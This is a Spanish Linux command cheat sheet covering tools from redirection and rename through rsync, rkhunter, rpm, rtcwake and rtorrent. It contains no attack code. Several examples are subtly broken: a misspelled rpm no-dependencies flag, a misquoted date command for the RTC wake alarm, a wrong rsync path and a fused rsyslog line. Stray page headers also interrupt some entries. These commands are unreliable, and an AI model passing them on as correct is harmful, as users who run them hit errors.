La grabación sigue al cursor
```

```
$ recordmydesktop --device pulse
Especificando dispositivo de sonido
```

## red

1.- Configurar IP fija

```
# nano /etc/network/interfaces
```

Borrar todo el contenido y susbtituirlo por:

```
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.1.10 # IP estática
netmask 255.255.255.0 # Mascara
gateway 192.168.1.1 # IP del router
Reiniciar red:
```

```
# /etc/init.d/networking restart
```

## redireccionar

Permite direccionar las salidas por pantalla a un archivo.

```
$ pwd > archivo.txt
mandar la salida de un comando a un archivo. Si archivo.txt existe borra todo el contenido anterior
```

```
$ pwd 1> archivo.txt
lo mismo que el anterior
```

```
$ pwd >> archivo.txt
añadir la salida de un comando a un archivo. Si no existe lo crea
```

```
$ pwd 1>> archivo.txt
lo mismo que el anterior
```

```
$ ls -W 2> error.txt
mandar la salida de errores a un archivo
```

```
$ find / -name passwd 1> si.txt 2> no.txt
mandar la salida estandar a un fichero y la salida de errores a otro
```

```
$ pwd >| archivo.txt
si la opción noclobber [ver] está activada
```

```
$ mail usuario < archivo.txt
mandar un archivo a un usuario por mail
```

```
$ find / -name passwd 1> todo.txt 2>&1
mandar salida y errores a un mismo archivo
```

```
$ find / -name passwd 2> todo.txt 1>&2
lo mismo que el anterior
```

## ree

Verifica si el firmware del pc y la tarjeta de red puede arrancar la máquina en red.

```
# strings *.rom | grep UNDI > /dev/null && echo "Si puede" || echo No
```

```
# ree
```

## reflector

Optimizador del mirrorlist de pacman.

```
# reflector
Mostrará todos los mirrors de archlinux.org/mirrors/status/json/

# reflector --sort rate -l 10 -f 5 --save /etc/pacman.d/mirrorlist
Que tome los 5 mejores [f] de los 10 más actualizados [l], los ordene por velocidad de descarga [
sort] y que sobrescriba el archivo mirrorlist [save]
```

## regionset

Los discos dvd contienen un código que indica la región geográfica donde el dvd fue publicado imposibilitando que los comprados en unas regiones, puedan reproducirse en otras:

Códigos de región:

```
1 Norte América (USA y Canadá)
2 Europa, Medio-orienté, Sudáfrica y Japón
3 Sudeste Asiático, Taiwan, Corea
4 Hispano América, Brasil, Australia, Nueva Zelanda
5 Antigua URSS (Rusia, Ucrania, etc.), resto de África, India
6 China

Esta aplicación permite cambiar dicho código del reproductor, no en el disco dvd y en la mayoría
de los casos sólo permite hacer 5 cambios y en algunos casos, sólo 2.
```

```
# regionset

regionset version 0.1 -- reads/sets region code on DVD drives
Current Region Code settings:
RPC Phase: II
type: NONE
vendor resets available: 4
user controlled changes resets available: 5
drive plays discs from region(s):, mask=0xFF
Would you like to change the region setting of your drive? [y/n]:
vendor resets available: 4 (indica el número de cambios disponibles)
```

## reiserfsck

Reparación de particiones reiserfs. Equivalente al fsck -f /dev/sdX de las particiones ext3.

```
# reiserfsck --rebuild-tree /dev/sda
```

## reisub

Combinación de teclas a usar cuando el sistema se cuelga. Pulsar las teclas Alt+ImprPant [PetSis] y mientras mantenemos las dos teclas pulsadas teclear la combinación de teclas REISUB. Su significado :

R: Retorna el control al teclado y ratón.

E: Envía a todos los procesos la señal TERM.

I: Envía a todos los procesos la señal KILL.

S: Sincroniza sistemas y unidades montadas.

U: Desmonta todos los sistemas de archivos.

B: Reinicia la máquina.

## remove-shell

[debianutils]. Elimina shells de la lista de shells de inicio de sesión. Funciona en los archivos temporales /etc/shells.tmp y /etc/shells.tmp2 para eliminar los shells dados de la lista de shells válidos y copia el resultado en /etc/shells.

```
$ remove-shell rbash
```

## rename

renombrar archivos

```
$ rename JPG jpg *.JPG
Renombrará todos los xxxx.JPG a xxxx.jpg
```

1.-

Substituir parte del nombre de unos archivos ("DSC") por otro ("Fotos")

```
$ ls
DSC_8362.jpg DSC_8374.jpg DSC_8378.jpg DSC_9112.jpg
$ rename 's/DSC/Fotos/' *.jpg
$ ls
Fotos_8362.jpg Fotos_8374.jpg Fotos_8378.jpg Fotos_9112.jpg
```

## renice

(Ver nice). Cambiar la prioridad de un proceso en marcha.

```
# renice -10 PID
```

## replace

Reemplazar letras o palabras de ficheros.

```
$ replace a A -- archivo1 archivo2
```

a por A en los dos ficheros

```
$ replace files DIRS -- archivo
```

files por DIRS en archivo

```
$ replace DIRS dirs files FILES -- archivo
```

DIRS por dirs y files por FILES

## reportbug

Herramienta diseñada para enviar informes de errores a Debian o a las distribuciones derivadas. reportbug está diseñado para usarse en sistemas con un agente de transporte de correo instalado, como exim o sendmail; sin embargo, puede editarse el archivo de configuración y enviar informes utilizando cualquier servidor de correo disponible.

```
# reportbug lynx-ssl
Informa un error en el paquete lynx-ssl
```

```
# reportbug --path --filename=ls
Informa un error en el paquete instalado que incluye un programa en su ruta llamado ls
```

## reset

Restablece la configuración de la terminal cuando al intentar abrir algún fichero se nos ha llenado de caracteres raros. Aunque no veamos el cursor o el prompt, tecleando "reset" y clicar "intro", se restablece la terminal.

## resize

Ver las columnas y líneas de la consola.

```
$ resize
```

## resize2fs

Cambiar la medida de una partición.

```
# resize2fs /dev/sda3 600M
# resize2fs -p /dev/sda1 45288448K
Otro ejemplo pero que nos muestra el porcentaje
```

## resolvectl

[systemd-resolve]. Herramienta para la administración de DNSs [Domain Name Service, son los responsables de traducir los nombres de dominio a sus respectivas IPs y viceversa]

```
# resolvectl statistics
verificar estadísticas DNS

# resolvectl flush-caches
Vacía todas las cachés de registros de recursos DNS que el servicio mantiene localmente

# resolvectl status
configuración de DNS global actualmente vigente

# resolvectl reset-statistics
establece a cero los contadores de estadísticas

# resolvectl dns
mostrar las dns que se utilizan

# resolvectl monitor
Mostrar flujo continuo de consultas de resolución de clientes locales y sus respuestas
```

## resolveip

Buscar el host de una ip o la ip de un host

```
$ resolveip -s www.google.com
```

## restic

Programa que hace copias de seguridad de forma fácil, simple de configurar, rápido de ejecutar y restaurar, verificable, utiliza criptografía para garantizar la confidencialidad y con el crecimiento de los datos, las instantáneas adicionales solo almacenan el incremento real.

```
$ restic init -r /tmp/prueba-restic
inicio del directorio del backup. Pide contraseña y confirmación

$ restic -r /tmp/prueba-restic backup .
```

## R

```
realizar el backup del presente directorio en el especificado con el init. Pide contraseña
```

```
$ restic -r /tmp/prueba-restic snapshots  
ver el contenido del directorio de los backups. Pide contraseña
```

```
$ restic -r /tmp/prueba-restic backup . --exclude="*.sh" --exclude-file=logs.txt  
excluyendo los .sh y logs.txt
```

```
$ restic -r /srv/prueba-restic diff 9fb7d0ca 3bec06c1  
comparando las diferencias entre dos snapshots
```

```
$ restic -r /tmp/prueba-restic restore 9d0c9446 --target /tmp/restore/  
restaurar un backup en el directorio especificado
```

## restore

Restaurar una copia de seguridad realizada con dump.

```
$ restore -rf home.bak  
restaurar la copia completa [r] del archivo especificado [f]
```

```
$ restore -xaf fichero.bak fichero  
restaurar solo la copia del fichero indicado [x], sin preguntar de qué volumen extraer los  
ficheros y especificando archivo [f]
```

## retty

Capturar el proceso que se está ejecutando en otra consola.

```
$ retty PID
```

Ejemplo.

En una consola lanzamos el proceso:

```
$ watch -tn1 'date "+%r %F %A"'
```

En otra averiguamos el PID:

```
$ ps aux | grep watch
```

Y capturamos el proceso:

```
$ retty PID
```

## rev

invierte una cadena de texto o un archivo

```
$ echo "perico de los palotes" | rev
```

```
$ rev archivo.txt
```

## rfkill

Herramienta para activar/desactivar dispositivos inalámbricos.

```
# rfkill list  
Muestra listado y su estado
```

```
# rfkill block all  
bloquear todos [all], otras opciones: wifi, wlan, wimax .
```

```
# rfkill unblock all  
Desbloquear todos los dispositivos
```

```
# rfkill unblock 0  
Desbloquear la 0 según resultado de list
```

## rig

[Random Identity Generator]. Genera datos personales aleatorios pero de apariencia real en inglés. Si se ha bajado de <https://github.com/harkaitz/rig-spain> el equivalente español ha de especificarse con -d.

```
$ rig -f -c 5 -d /usr/local/share/rig/spain
genero femenino, 5 opciones de identidad y en español
```

```
$ rig -m -c 5
del genero masculino y 5 opciones de identidad
```

## ripgrep

buscar archivos y directorios.

```
$ rg archivo.mp3
```

```
$ rg -A2 archivo.txt
muestra dos lineas despues de la coincidencia
```

```
$ rg -C2 dir
muestra la línea anterior y posterior a la coincidencia
```

## ripit

Crear archivos mp3 a partir de un cd de música.

```
$ ripit --device /dev/sr1
especificando dispositivo
```

```
$ ripit --normalize
Normalizar archivos antes de la codificación
```

```
$ ripit 1,3-5,7-10
extraer y codificar una selección de pista seleccionadas
```

```
$ ripit --span 0-25
Copiar solo los primeros 25 segundos de cada pista
```

## rkhunter

Buscador de rootkits instalados en el sistema

```
# rkhunter --update
recargar la base de datos
```

```
# rkhunter --propupd
si se ha modificado la función Hash o para reconstruir la base de datos y evitar "Warnings" tipo:
Warning: The file properties have changed
```

```
# rkhunter -c
iniciar la aplicación
```

```
# rkhunter -c -sk
iniciar la aplicación sin pedir confirmación para proseguir después de cada sección
```

```
# rkhunter -c -sk --rwo
sin mostrar salida excepto los "Warnings"
```

```
# rkhunter --list
ver todas las opciones
```

```
# rkhunter --list rootkits
ver el listado de rootkits que busca
```

## R

```
# rkhunter --list tests
listado de chequeos
```

```
# rkhunter --enable group_accounts,system_commands
solo chequear estas dos opciones
```

```
# rkhunter --disable shared_libs
descartar esta opción del chequeo
```

```
# cat /var/log/rkhunter.log | grep Warning
visualizar los "Warnings"
```

```
# egrep -i "warning:|\[ warning \]" /var/log/rkhunter.log && awk '/System checks summary/ {f=1}f'
/var/log/rkhunter.log
otra forma de visualizar "warnings"
```

```
# rkhunter -C
ver las últimas modificaciones del archivo de configuración /etc/rkhunter.conf
```

1.-

Para solucionar el error: Warning: Hidden directory found: /etc/.java

```
# nano /etc/rkhunter.conf
```

Y descomentar la linea:

```
ALLOWHIDDENIR="/etc/.java"
```

Nota.- para errores similares con archivos ocultos [/dev/.udev, /dev/.initramfs... ], descomentar la linea correspondiente.

2.-

Para errores de versión de ciertas aplicaciones [Warning: Application 'gpg', version ....]

```
# nano /etc/rkhunter.conf
```

Añadir apps a la linea:

```
DISABLE_TESTS="suspscan hidden_procs deleted_files packet_cap_apps apps"
```

3.-

Para suprimir falsa advertencias sobre posibles interfaces promiscuos [P.ejemplo de un servidor virtual], añadir "promisc" a la opción DISABLE\_TESTS:

```
DISABLE_TESTS="suspscan hidden_procs deleted_files packet_cap_apps apps promisc"
```

4.-

Para que los valores se obtengan del gestor de paquetes correspondiente:

```
# nano /etc/rkhunter.conf
```

Y descomentar y modificar la linea PKGMGR:

```
PKGMGR=DPKG
```

Nota.- Otras opciones para distros no debian o para desactivar la opción: RPM, BSD, SOLARIS y NONE

5.-

Para evitar la nota: Warning: Suspicious file types found in /dev... añadir a /etc/rkhunter.conf la linea:

```
ALLOWDEVFILE="/dev/.../*"
```

Nota.- Substituir los puntos suspensivos por el subdirectorio oportuno.

6.-

Evitar el error: Invalid BINDIR configuration option: Not a directory: /snap/bin/kesty-whatsapp



## R

He suprimido el programa que lo causaba:

```
# snap remove kesty-whatsapp
```

O dicen que suprimir la ruta al ejecutable /snap/bin/kesty-whatsapp que la tengo en .bashrc

7.-

Para evitar falsos "Warnings" del tipo: Warning: The following suspicious (large) shared memory segments have been found, que significa que existen procesos que usan segmentos de memoria compartida y que pueden comprobarse en el archivo de resultados /var/log/rkhunter.log, colocar en el archivo de configuración /etc/rkhunter.conf:

```
ALLOWIPCPROC=/usr/bin/firefox
ALLOWIPCPROC=/usr/lib/chromium/chromium
ALLOWIPCPROC=/usr/bin/liferea
ALLOWIPCPROC=/usr/bin/pcmanfm
...
```

Nota.- Pueden especificarse varios.

8.-

Puede que algunas utilidades principales que han sido reemplazadas por scripts produzcan falsas advertencias. Estas que pueden silenciarse a través de la lista blanca en /etc/rkhunter.conf:

```
SCRIPTWHITELIST=/usr/bin/egrep
SCRIPTWHITELIST=/usr/bin/fgrep
SCRIPTWHITELIST=/usr/bin/which
```

9.-

Para evitar problemas con el --update tipo:

```
Checking rkhunter data files...
Checking file mirrors.dat      [ Skipped ]
Checking file programs_bad.dat [ Update failed ]
Checking file backdoorports.dat [ Update failed ]
Checking file suspscan.dat     [ Update failed ]
Checking file i18n versions    [ Update failed ]
```

Editar el archivo de configuración /etc/rkhunter.conf y modificar los apartados siguientes de la forma especificada:

```
UPDATE_MIRRORS=1
MIRRORS_MODE=0
```

Que por defecto son:

```
UPDATE_MIRRORS=0
MIRRORS_MODE=1
```

Luego la ejecución de:

```
# rkhunter --update
```

dará como resultado algo tipo:

```
Checking rkhunter data files...
Checking file mirrors.dat      [ No update ]
Checking file programs_bad.dat [ No update ]
Checking file backdoorports.dat [ No update ]
Checking file suspscan.dat     [ No update ]
Checking file i18n/cn          [ Skipped ]
Checking file i18n/de          [ Skipped ]
Checking file i18n/en          [ No update ]
Checking file i18n/tr          [ Skipped ]
Checking file i18n/tr.utf8     [ Skipped ]
...
```

10.-

Paquetes opcionales adicionales son: unhide para encontrar procesos y puertos ocultos y skdet (wget <http://dvgevers.home.xs4all.nl/skdet/skdet>) para verificaciones adicionales de Suckit Rookit.

## rkill

[pslist]. Herramienta similar a kill [ver]

```
$ rkill -9 scribus
Matará la aplicación especificada. Igual que killall [ver]
```

```
$ rkill -9 17424
Matará la aplicación que corra en el PID especificado. Igual que kill
```

## rl

[randomize-lines]. Muestra líneas de un archivo o de la entrada standard de forma aleatoria.

```
$ rl /etc/fstab
Forma básica
```

```
$ seq 10 | rl --count 2
2 números del 0 al 10
```

```
$ rl -n /etc/fstab -o archivo
Numerando las líneas, colocandolas de forma aleatoria y guardando el resultado en "archivo"
```

```
$ rl -o archivo -c 5 archivo.txt
Guardar en archivo [-o] 5 líneas [-c] del texto archivo.txt
```

## rlogin

Conecta con un host remoto

```
$ rlogin usuario@host
```

## rm

Borrar archivos. Puede que con algunas de las opciones tenga que activarse extglob (shopt -s extglob).

```
$ rm -R directorio
Borra directorios y los subdirectorios
```

```
$ rm -i archivo
Pide confirmación antes de borrar
```

```
$ rm file1 file2
Borrar varios archivos
```

```
$ rm -R dir1 dir2 dir3
Lo mismo con varios directorios
```

```
$ rm -f
Fuerza eliminación incluso si existen ficheros que no existen
```

```
$ find . -type f -empty -exec rm {} \;
Elimina todos los archivos vacíos de un directorio
```

```
$ rm -v !(*.txt)
Eliminar todos los archivos menos los .txt
```

```
$ rm -v !(*.txt|*.png)
Elimina todos menos los .txt y .png
```

```
$ rm !(tuto+([1-9])) (Borrar los ficheros excepto del tuto1 al tuto9)
```

1.-

## R

Para que todo lo eliminado con el comando `rm` vaya a la papelera del sistema:

```
$ nano .bashrc
```

Y añadimos el alias:

```
alias rm='mv -t ~/.local/share/Trash/files'
```

2.-

Eliminar todo un directorio menos un subdirectorio, por ejemplo menos el dir `HTMLS`:

```
$ ls
dir3  file1.txt  HTMLS  dirpdfs  file2.txt
$ ls | grep -v HTMLS | xargs -d"\n" rm -rf
$ ls
HTMLS
```

## rmdir

Borra directorios vacíos

```
$ rmdir /home/usuario/dir_vacio
```

```
$ find . -type d -empty -exec rmdir {} \;
```

Otra forma

## robots.txt

Archivo que evita que determinado contenido de un sitio web sea indexado por los motores de búsqueda. Este archivo distingue mayúsculas y minúsculas, puede incluir comentario mediante almohadilla [#] y cada grupo `User-agent/Disallow` debe de estar separado por una línea en blanco.

Algunos comandos:

`User-agent` (Indica qué tipo de robot debe cumplir con la directiva que se indica)

```
User-agent: * (Incluir todos los buscadores)
User-agent: Googlebot (Especificar el buscador de Google)
User-agent: Bingbot (Especificar el robot de Bing)
Disallow (Niega el acceso a un directorio, un archivo o una página)
```

```
Disallow: (Permite la entrada a todo el sitio)
Disallow: / (Denegar todo el sitio)
Disallow: /directorio/ (Denegar un directorio)
Disallow: /restringido*/ (Denegar directorios que comienzan por "restringido")
Disallow: /pagina.html (Denegar una página)
Disallow: /*.png$ (Denegar los archivos que terminen con la extensión .png)
Allow (Permitir el acceso a directorios, archivos o páginas)
```

```
Allow: /directorio/subdirectorio/ (Permitir un subdirectorio)
Sitemap (Indica la ruta a un mapa del sitio en XML)
```

```
Sitemap: http://web.com/sitemap.xml
Crawl-delay (Indica número de segundos que debe esperar para cada acceso a cada página)
```

```
Crawl-delay: 30
Aspecto que puede presentar un archivo robots.txt:
```

```
User-agent: wget
Disallow: /
\\ línea en blanco
User-agent: grub-client
Disallow: /
\\ línea en blanco
User-agent: *
Disallow:
\\ línea en blanco
Sitemap: https://tractatuslapipaplena.herokuapp.com/sitemap.xml
```

## ronn

Construye páginas man. Convierte archivos de texto en markdown a roff para visualización en terminales y también a HTML para la web.

```
$ man 7 ronn-format
define cada parte del formato de una página man

$ ronn archivo.md
crea la página de manual archivo y archivo.html

$ ronn --html --style=dark file.md
crea la versión man en html con fondo negro del md especificado
```

## root-tail

Programa que muestra y sigue el contenido más reciente de uno o más archivos de registro y utiliza el fondo de escritorio para mostrar las salidas.

```
$ journalctl -f | root-tail -
canalizar systemd a root-tail

$ root-tail /var/log/firewalld
uso básico

$ root-tail -font 10x20 /var/log/postgresql/postgresql-15-main.log,green -font 12x24 /var/log/
firewalld,red,'ALERT'
```

## rotatelog

Programa de rotación de logs de apache en función de un intervalo de tiempo o tamaño máximo del registro. Es un demonio que se ejecuta de forma autónoma.

```
# logrotate -vf /etc/logrotate.conf
comprobar el correcto funcionamiento de forma manual rotando todos los registros
```

## rotix

Permite generar ofuscaciones rotacionales.

```
$ rotix -a -t "linux es un sistema genial"

$ rotix -f archivo.txt -o otro_archivo.txt
ofusca un archivo y lo guarda en otro_archivo.txt
```

## route

Mostrar/manipular la tabla de enrutamiento ip.

```
$ route -n

$ route add default gw 192.168.1.50
Establecer los protocolos de conexión después de levantar una red manualmente con ifconfig

# route add --host 192.168.0.12 eth0
agregar un host a una tabla de enrutamiento

# route add -host IP reject
bloquear una IP

# route del IP reject
desbloquear una ip

$ route del -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.10
Eliminar una puerta de enlace

$ route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
Crear una nueva puerta de enlace
```

## route

Refresca las tablas de enrutado [ver routel]

```
# route
```

## routel

Componente de ip route para listar las tablas de enrutado. [ver route]

```
$ routel
```

## rpcinfo

Para saber los servicios que estan en marcha

```
$ rpcinfo -p
```

## rpm

Gestor de paqueteria de distros basadas en Red Hat.

```
# rpm -ivh paquete  
instalar un paquete
```

```
# rpm -ivh nodeeps paquete  
instalar paquete rpm ignorando dependencias
```

```
# rpm -e paquete  
eliminar paquete
```

```
# rpm -qa  
Listar todos los paquetes instalados
```

```
# rpm -qi paquete  
información de un paquete
```

```
# rpm -q paquete --whatrequires  
listar dependencias de un paquete
```

```
# rpm -qf /etc/httpd/conf/httpd.conf  
A qué paquete pertenece un archivo
```

```
# rpm --checksig paquete  
verificar integridad de un paquete
```

```
# rpm -qa gpg-pubkey  
verificar la integridad de todos los paquetes
```

## rrenice

[pslist]. Herramienta con uso igual que renice [ver]

## rsnapshot

Script en Perl y basado en rsync que realiza copias de seguridad manualmente o mediante cron [ver].

```
# cp /etc/rsnapshot.conf.default /etc/rsnapshot.conf
Copiar el archivo de configuración

# rsnapshot configtest
Comprobar la correcta configuración de la herramienta

# rsnapshot du
ver el espacio ocupado por las copias de seguridad

# rsnapshot -V diff daily.0 daily1
ver las diferencias entre dos copias de seguridad

# rsnapshot -t hourly
no genera el backup sino un simulacro para comprobar que todo funciona
```

Ejemplo de archivo de configuración:

```
# nano /etc/rsnapshot.conf

snapshot_root    /backup/ # directorio donde se guardan las copias
cmd_cp           /bin/cp # rutas a los ejecutables
cmd_rm           /bin/rm
cmd_rsync        /bin/bin/rsync
cmd_du           /usr/bin/du
cmd_rsnapshot_diff /usr/bin/rsnapshot-diff
logfile /var/log/rsnapshot.log # ruta a los logs de la aplicación
backup /home/ localhost/ # backups de nuestra home y guardados en localhost [/backup/]
retain hourly 6 (copia cada hora y se almacenan las últimas 6)
retain daily 7 (copia cada día y se almacenan las últimas 7)
retain weekly 4 (cada semana y se almacenan las últimas 4)
retain monthly 6 (cada mes y se almacenan las últimas 6)
retain yearly 5 (cada año y se almacenan las últimas 5)
```

## rsssh

Shell restrictiva que permite elegir el método de acceso de un usuario que se desea entre las opciones disponibles: scp, sftp, cvs, svn, rsync o rdist. Primero incluir la nueva shell como una shell válida en del sistema:

```
# echo "/usr/bin/rsssh" >> /etc/shells
```

Crear un usuario con la shell restrictiva:

```
# useradd -d /home/externo -m externo
# nano /etc/passwd
```

Y colocar la línea:

```
extern:x:1001:1001:extern,,,:/home/externo:/usr/bin/rsssh
A continuación descomentar la o las opciones permitidas:
```

```
# nano /etc/rsssh.conf

allowscp
allowsftp
allowcvs
#allowrdist
allowrsync
allowsvnserve
```

## rsstail

Mostrar noticias rss en estilo multitail

```
$ rsstail -n 1 -d -u http://web.com -u http://web1.com -u http://web3.com
```

Algunas opciones:

```
-n 1    (Actualizar cada segundo)

-d      (Mostrar descripción)

-z      (Continuar incluso con errores xml)

-l      (Mostrar enlaces)

-u URL  (Host del feed)
```

## rsync

Sincronizar archivos o directorios. Trabajar con el directorio montado. En las rutas a copiar, no colocar \* si queremos tambien copiar ficheros y directorios ocultos.

```
$ rsync -av /home/usuario/Dropbox /home/usuario/Copias_seguridad/
Copiar todo el directorio Dropbox en el directorio Copias_seguridad
```

```
$ rsync -av --exclude=Dropbox /media/servidor /home/usuario/servidor/
Sincronizar un servidor con un directorio local excluyendo el dir Dropbox
```

Nota.- Pueden excluirse varios directorios [--exclude=Dropbox --exclude=isos --excluede=public ...]

```
$ rsync -arvuz Documentos usuario@192.168.1.5:/home/usuario/
Copiar el directorio en otra máquina
```

```
$ rsync -arvuz -e 'ssh -p 30567' Documentos usuario@192.168.1.5:/home/usuario/
Copiar el directorio en otra máquina pero especificando otro puerto SSH
```

Algunas opciones:

```
-a (respaldar recursivamente directorios y subdirectorios)
-g (conserva el atributo group de los archivos originales)
-E (conserva el atributo executable del archivo originales)
-v (aumentar el nivel de información desplegado)
-z (comprime los datos que serán transferidos)
-h (mostrar salida entendible para humanos)
--exclude=tmp (Excluir archivos o directorios. /tmp en este caso)
--delete-during (Borrar los archivos de origen a medida que son transferidos)
```

```
$ rsync -aHxv root@dirección_IP:/ /carpeta_destino --exclude=/dev --exclude=/proc --exclude=/sys
--exclude=/tmp (copia/clonación en vivo de todo un sistema remoto a un directorio local. Se
recomienda parar todos los servicios en ejecución de la máquina remota y repetir el comando varias
veces hasta que no haya ningún fichero copiado, para evitar ficheros corrompidos. Se deben crear
las carpetas "/dev", "/proc", "/sys" y "/tmp" en la carpeta de destino).
```

```
$ rsync -avz --exclude-from 'rsync_exclude' /home/usuario/ /media/sdall/copa_seguridad
Copia de seguridad del /home/usuario a otra partición excluyendo los archivos especificados en el
archivo rsync_exclude
```

Nota.- El formato del archivo rsync\_exclude para excluir los ficheros ocultos [.\*] todos los de la carpeta Dropbox y el video alien de la carpeta Videos será:

```
.*
Dropbox/*
Videos/alien
```

## rsyslog

Demonio responsable de recopilar mensajes provenientes de las aplicaciones y el kernel y enviarlos a los archivos de registro, almacenados generalmente en el directorio /var/log/. Los mensajes de las aplicaciones están asociadas a unos subsistemas; auth y authpriv [para autenticación], cron [tareas programadas], demon [afecta a algún demonio], ftp [al servidor FTP], kern [proveniente del kernel], lpr [proviene del subsistema de impresión], mail [del subsistema de correo electrónico], news [mensaje del subsistema Usenet], syslog [mensajes del propio servidor syslogd], user [mensajes de usuario genérico], uucp [del servidor UUCP] y local0 a local7 [reservado para uso local] y también están asociados a un nivel de prioridad: emerg [emergencia extrema del sistema], alert [alerta importante], crit [condición crítica], err [error], warn [advertencia, posible error], notice [aviso importante], info [mensaje informativo] y debug [mensaje de depuración]

Modificar el archivo:

```
# nano /etc/rsyslog.conf
```

Descomentando las líneas:

```
module(load="imudp")

input(type="imudp" port="514")

module(load="imtcp")

input(type="imtcp" port="514")
```

Que todos los mensajes de alerta se manden a los usuarios root y USER

```
*.alert      root,USER
```

Comprobar si el archivo de configuración está correcto:

```
# rsyslogd -N1 -f /etc/rsyslog.conf
```

Para que los cambios surtan efecto reiniciar el servicio:

```
# systemctl restart rsyslog
```

Verificar que el servicio rsyslog esté escuchando en los puertos especificados.

```
# ss -tunlp | grep 514# rsyslogd -dn
modo debug
```

```
# rsyslogd -n
de forma interactiva
```

```
# rsyslogd -dn
modo debug
```

## rtacct

Monitorear los contadores snmp del kernel y las estadísticas de la interfaz de red cuyo contenido se encuentra en /proc/net/route.

```
# rtacct -a -s -z
volcar valores absolutos, no actualizar el historial y mostrar también los contadores a cero
```

```
# rtacct -n
solo actualizar el historial
```

```
# rtacct -d 5
ejecutar en modo daemon y recolectando las estadísticas cada 5 segundos
```



## rtc

[Real Time Clock]. Dispositivo que se encarga de mantener la hora y fecha del sistema actualizados incluso cuando este está apagado. Para comprobar si el pc tiene RTC:

```
# grep -i rtc /boot/config-6.1.0-13-amd64
substituir por el kernel real instalado lanzando el comando: uname -r
```

...

```
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
```

...

```
# cat /sys/class/rtc/rtc0/wakealarm
verificar si hay algún arranque configurado. Si no devuelve ningún valor significa que no se ha configurado ningún arranque
```

Para probar si el arranque programado funciona, primero se restablece el arranque a cero y luego se establece que arranque el pc en 3 minutos al cerrar:

```
# echo 0 > /sys/class/rtc/rtc0/wakealarm
# echo `date +%s` -d '+ 3 minutes' > /sys/class/rtc/rtc0/wakealarm
```

Si ahora volvemos a lanzar:

```
# /sys/class/rtc/rtc0/wakealarm
```

Nos da un número parecido a 1699298144 que son la cantidad de segundos transcurridos desde la medianoche UTC del 1 de enero de 1970 [inicio de la época unix] hasta el momento que se lanza el comando. A los 3 minutos de cerrar el pc ha de reiniciarse. Más información sobre el driver rtc:

```
$ cat /proc/driver/rtc
```

## rtcwake

Entrar en un estado de suspensión del sistema hasta la hora de activación especificada.

```
# rtcwake -m show -v
Mostar si una suspensión o arranque está activo o no
```

```
# rtcwake -m mem -s 10
suspender la RAM y reiciciar en 10 segundos
```

```
# rtcwake -m no -l -t `date +%s -d 'today 18:30:00'`
[-m no] no suspender, [-l] hardware configurado en hora local y [-t] hora de arrancar, hoy a las 6,30 de la tarde
```

```
# rtcwake -m disk -u -s 60
-u asume que el reloj del hardware está configurado en UTC, [-m disk] suspende en disco y -s lo reactiva un minuto después [en segundos]
```

```
# rtcwake --list-modes
```

Los modos son los siguientes:

freeze (Procesos congelados, dispositivos suspendidos y procesadores inactivos. Ahorra menos energía porque el sistema está ejecución)

mem (Suspensión a RAM. Ahorra energía ya que el sistema se pone en un estado de bajo consumo, excepto la memoria para conservar su contenido.

disk (Suspensión en disco. Mayor ahorro de energía. Similar a suspender en RAM, pero incluye escribir el contenido de la memoria en el disco)

off (Poweroff. Esto se hace llamando a /sbin/shutdown. No cuenta con el apoyo oficial de ACPI, pero normalmente funciona)

no (No suspender, solo configurar la hora de activación RTC)

on (No suspender, pero lee el dispositivo RTC hasta que aparezca la hora de activación)

`disable` (Desactiva una activación previamente configurada)

`show` (Imprima la información de la alarma en formato: "alarm: off|on <time>". Por ejemplo, "alarm: on Tue Nov 16 04:48:45 2010")

Nota.- La opción `-a` lee de forma automática la configuración del reloj del hardware esté configurado en UTC `[-u]` o en hora local `[-l]`. Este es el valor predeterminado.

```
# rtcwake -m mem -s 120 && firefox
suspende el pc a RAM, la activa dos minutos más tarde y luego inicia Firefox
```

```
# rtcwake -m disk --date +15min
Suspende en disco y reactivarse 15 minutos después
```

```
# rtcwake -m freeze --date 202311051230
Congele el sistema y recupérela en una fecha y hora determinadas [2023/11/05 12:30]
```

```
# rtcwake -m disable
Desactivar una alarma previamente configurada
```

```
# rtcwake -m on --date 20:30
Realizar ensayo para reactivar la computadora en un momento determinado. Cancelar con Ctrl+c
```

La marca de tiempo puede ser cualquiera de las siguientes:

AAAAMMDDhhmmss

AAAA-MM-DD hh:mm:ss

AAAA-MM-DD hh:mm (los segundos se establecerán en 00)

AAAA-MM-DD (la hora se establecerá en 00:00:00)

hh:mm:ss (la fecha será hoy)

hh:mm (la fecha se establecerá en hoy, los segundos en 00)

tomorrow (la hora está establecida en 00:00:00)

+5min

## rtkitctl

[realtimekit]. Servicio del sistema D-Bus que cambia la política de programación de los hilos y procesos de usuario a modo de programación en tiempo real, a petición del usuario. Está concebido para ser utilizado como un mecanismo seguro que permita la programación en tiempo real para ser utilizado por los procesos normales.

```
# rtkitctl --reset-known
restablecer el estado en tiempo real de los hilos conocidos
```

```
# rtkitctl --reset-all
restablecer el estado en tiempo real de todos los hilos
```

```
# rtkitctl --start
iniciar rtkitctl si aún no se está ejecutando
```

```
# rtkitctl --exit
finalizar la ejecución del demonio RealtimeKit
```

## rtla

Comando para analizar las propiedades en tiempo real del sistema. `rtla` utiliza capacidades de seguimiento del kernel para proporcionar información precisa sobre las propiedades y las causas fundamentales de resultados inesperados.

```
# rtla osnoise
información sobre el ruido del sistema operativo
```

```
# rtla timerlat
Mide la IRQ y la latencia del temporizador de subprocesos
```

## rtmon

Permite guardar/monitorizar la tabla de rutas.

```
# rtmon file /var/log/rtmon.log
guardar en un fichero
```

Dado que el fichero estará en formato binario ha de visualizarse con:

```
# ip monitor file /var/log/rtmon.log
```

## rtorrent

Descarga de archivos a partir de torrents

```
$ rtorrent url.torrent
```

## rt-tests

